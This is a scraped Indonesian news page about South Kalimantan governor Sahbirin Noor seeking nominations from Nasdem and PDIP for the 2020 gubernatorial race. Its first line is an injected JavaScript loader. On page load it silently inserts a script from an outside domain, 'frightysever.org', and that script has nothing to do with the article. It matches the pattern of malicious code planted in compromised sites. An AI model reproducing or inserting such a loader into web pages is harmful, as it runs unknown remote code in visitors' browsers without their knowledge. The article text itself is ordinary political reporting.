(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Langkah incumbent Gubernur Kalsel H Sahbirin Noor untuk kembali maju ke Pilgub 2020 Kalsel tak main-main. Ibarat ‘total war’, ia langsung turun gunung memimpin rombongan Partai Golkar menyerahkan lamaran sebagai bakal calon gubernur (Bacagub) ke Partai Nasdem, di Jl A Yani Km 8, Kertak Hanyar, Kabupaten Banjar, Rabu (25/9).
Sahbirin yang ditemani ketua Harian Golkar Kalsel H Supian HK serta tokoh sepuh beringin, diterima Ketua DPW Partai Nasdem Kalsel H Guntur Prawira. Usai diperiksa, lamaran Sahbirin yang mendaftar paling pertama tersebut dinyatakan lengkap dan memenuhi syarat.
Pada kesempatan itu, Sahbirin mengatakan melamar ke Nasdem karena beberapa alasan. Selain platform partai dan kesamaan visi misi dalam memajukan Kalsel, juga lantaran dia ngefans dengan figur Surya Paloh, pendiri partai Nasdem.
“Sejak dulu beliau (Surya Paloh) itu adalah idola saya, dari zaman saya belum di partai,†kata Sahbirin.
Ia mengatakan, Surya Paloh adalah sosok yang menginspirasi. Banyak buah pemikiran yang ia petik dalam hal pemerintahan dan perpolitikan. “Bang Surya adalah sosok yang luar biasa bagi kita, beliau punya pemahaman kebangsaan yang luar biasa. Banyak orang juga yang mengidolakannya,†tutur Sahbirin.
Menanggapi hal tersebut,  Guntur Perwira mengatakan kedatangan incumbent langsung untuk menyerahkan pendaftaran bukti keseriusan maju di Pilgub 2020. “Kami menganggap bahwa beliau ini paling siap. Silahkan saja (Bacalon lain), kita terbuka sampai tanggal 23 Oktober, catatannya bahwa penentuan nanti ada beberapa tahapan, calon itu kita minta visi misinya dan yang memutuskan DPP, †kata Guntur.
Kedatangan Sahbirin langsung ke Nasdem bisa dibilang spesial. Sebab sebelumnya, saat mendaftar ke PDIP, Sahbirin Cuma diwakili oleh Supian HK dan elite Golkar saja. Lalu, apa dibalik ‘turun gunung’ Paman Birin ini?
Dari hitungan kursi di DPRD Kalsel, selain Partai Golkar yang mengantongi 12 kursi, PDIP menjadi partai kedua pemilik kursi terbanyak sebanyak 8 kursi. Sedangkan Nasdem cuma mengantongi 4 kursi di legislatif.
Sahbirin perlu pendekatan ekstra dengan turun gunung langsung, karena pada Pilgub sebelumnya Nasdem bukan berada sekubu dengannya. Sebelumnya, pada pemilu 2015, Nasdem menjadi penyokong Zairullah Azhar bersama PKB dan Demokrat.
Di sisi lain, statemen Guntur yang mangatakan Sahbirin sebagai kandidat yang paling kuat, juga bisa dibaca sebagai sinyal dukungan Nasdem.
Langkah Sahbirin ini tentunya makin sulit dikejar oleh calon penantang. Pasca mengantongi ‘golden ticket’ Partai Golkar dan booking kursi di PDIP, kini gerilya dilakukan dengan merangkul Partai Nasdem.
Banyak faktor yang memperkuat arah politik Nasdem yang cenderung ke incumbent. Pertama, terkait kedekatan emosional sebagai mitra koalisi saat Pilpres lalu. Meskipun saat ini tidak cukup relevan karena Pilpres sudah selesai, tapi hubungan antara Sahbirin, selaku Ketua Partai Golkar Kalsel dengan Guntur cukup hangat.
Kedua, secara realistis saat ini memang belum lihat munculnya figur kuat sebagai penantang petahana. Sehingga jika bersikap praktis, Nasdem akan lebih nyaman mengusung Sahbirin.
Sebelumnya selain Nasdem, Sahbirin juga melamar sebagai calon kepala daerah dari PDIP. Kedatangan Sahbirin diwakili oleh Ketua Harian DPD Golkar Kalsel, H Supian HK beserta jajaran, Sabtu (21/9) lalu. Rombongan tim dari beringin ini disambut oleh Ketua Tim Pilkada DPD PDIP Kalsel, Supiansyah dan Wakil Ketua Bidang Politik, Hukum dan Keamanan, HM Rosehan Noor Bahri.
H Supian HK mengatakan, PDIP merupakan partai pertama yang mereka kunjungi dalam upaya menjalin koalisi Pilkada 2020. Golkar menyadari, kekuatan aliansi parpol akan diperlukan dalam mendorong kebijkan pemerintahan ke depan. “Saya kira, semakin banyak yang mengusung tentunya akan semakin baik,†katanya.
Keikutsertaan Sahbirin mendaftar di PDIP ini, artinya sudah menutup pintu posisi Cagub. Hal ini sebagaimana komitmen Ketua DPD PDIP Kalsel Mardani H Maming saat Konferda PDIP Kalsel, Senin (8/7) lalu. Maming bahkan mengatakan, koalisi antara PDIP-Golkar memiliki ikatan kuat. Bukan hanya wujud dalam barisan pendukung Jokowi-Ma’ruf Amin pada Pilpres 2019 lalu, tapi sejak Pilgub (Pemilihan Gubernur) 2015 silam, PDIP merupakan partai pengusung Gubernur Sahbirin Noor-Rudi Resnawan. “Sehingga, baju Paman boleh kuning, tapi hatinya tetap merah,†cetus Mardani sembari tersenyum.(fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.